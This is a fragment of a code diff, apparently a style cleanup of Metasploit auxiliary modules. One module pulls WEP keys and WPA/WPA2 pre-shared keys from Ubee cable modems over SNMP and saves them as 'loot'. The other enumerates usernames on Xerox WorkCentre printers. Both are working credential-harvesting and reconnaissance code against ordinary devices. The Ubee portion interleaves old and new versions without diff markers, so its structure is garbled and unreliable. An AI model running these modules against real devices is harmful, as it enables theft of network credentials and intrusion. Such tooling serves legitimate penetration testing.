wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4')
key4 = "#{wepkey4}".unpack('H*')
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
print_good("Active Wep key is #{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
# WEP enabled
elsif wifiversion == '1'
weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12')
if weptype == '2'
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1')
key1 = wepkey1.to_s.unpack('H*')
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2')
key2 = wepkey2.to_s.unpack('H*')
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3')
key3 = wepkey3.to_s.unpack('H*')
print_good("WEP KEY3: #{key3}")
wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4')
key4 = wepkey4.to_s.unpack('H*')
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
print_good("Active Wep key is #{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
else
print_line("FAILED")
end
# WPA enabled
elsif wifiversion == "2"
print_line("Device is configured for WPA ")
wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
print_good("WPA PSK: #{wpapsk}")
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
# WPA2 enabled
elsif wifiversion == "3"
print_line("Device is configured for WPA2")
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
print_good("WPA2 PSK: #{wpapsk2}")
wifiinfo << "WPA PSK: #{wpapsk2}" << "\n"
# WPA Enterprise enabled
elsif wifiversion == "4"
print_line("Device is configured for WPA enterprise")
# WPA2 Enterprise enabled
elsif wifiversion == "5"
print_line("Device is configured for WPA2 enterprise")
# WEP 802.1x enabled
elsif wifiversion == "6"
print_line("Device is configured for WEP 802.1X")
else
print_line("FAILED")
end
elsif weptype == '1'
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1')
key1 = wepkey1.to_s.unpack('H*')
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2')
key2 = wepkey2.to_s.unpack('H*')
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3')
key3 = wepkey3.to_s.unpack('H*')
print_good("WEP KEY3: #{key3}")
wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4')
key4 = wepkey4.to_s.unpack('H*')
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
print_good("Active Wep key is #{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
else
print_line("WIFI is not enabled")
end
end
# Woot we got loot.
loot_name = "ubee_wifi"
loot_type = "text/plain"
loot_filename = "ubee_wifi.txt"
loot_desc = "Ubee Wifi configuration data"
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
print_good("WiFi Data saved: #{p}")
print_line('FAILED')
end
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
# WPA enabled
elsif wifiversion == '2'
print_line('Device is configured for WPA ')
wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
print_good("WPA PSK: #{wpapsk}")
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
# WPA2 enabled
elsif wifiversion == '3'
print_line('Device is configured for WPA2')
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12')
print_good("WPA2 PSK: #{wpapsk2}")
wifiinfo << "WPA PSK: #{wpapsk2}" << "\n"
# WPA Enterprise enabled
elsif wifiversion == '4'
print_line('Device is configured for WPA enterprise')
# WPA2 Enterprise enabled
elsif wifiversion == '5'
print_line('Device is configured for WPA2 enterprise')
# WEP 802.1x enabled
elsif wifiversion == '6'
print_line('Device is configured for WEP 802.1X')
else
print_line('FAILED')
end
else
print_line('WiFi is not enabled')
end
# Woot we got loot.
loot_name = 'ubee_wifi'
loot_type = 'text/plain'
loot_filename = 'ubee_wifi.txt'
loot_desc = 'Ubee WiFi configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
print_good("WiFi Data saved: #{p}")
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::SNMP::RequestTimeout => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue Standarderror => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,52 +11,67 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
'Description' => %q{
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
'Description' => %q{
This module will do user enumeration based on the Xerox WorkCentre present on the network.
SNMP is used to extract the usernames.
},
'Author' =>
[
'pello <fropert[at]packetfault.org>'
],
'License' => MSF_LICENSE
'Author' => [
'pello <fropert[at]packetfault.org>'
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /Xerox/
@users = []
285222001.upto(285222299) { |oidusernames|
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
end
}
print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
sys_desc = snmp.get_value('sysDescr.0')
@users.each do |user|
report_note(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'udp',
:sname => 'snmp',
:update => :unique_data,
:type => 'xerox.workcenter.user',
:data => { :user => user })
unless sys_desc =~ /Xerox/
print_error("#{ip} is not Xerox: #{sys_desc}")
return
end
@users = []
285_222_001.upto(285_222_299) do |oidusernames|
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
row.each do |val|
next if val.nil?
next if val.value.blank?
@users << val.value.to_s
end
end
# No need to make noise about timeouts
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
print_good("#{ip} Found Users: #{@users.uniq.sort.join(', ')} ")
@users.each do |user|
report_note(
host: rhost,
port: datastore['RPORT'],
proto: 'udp',
sname: 'snmp',
update: :unique_data,
type: 'xerox.workcenter.user',
data: { user: user }
)
end
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
# No need to make noise about timeouts
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
end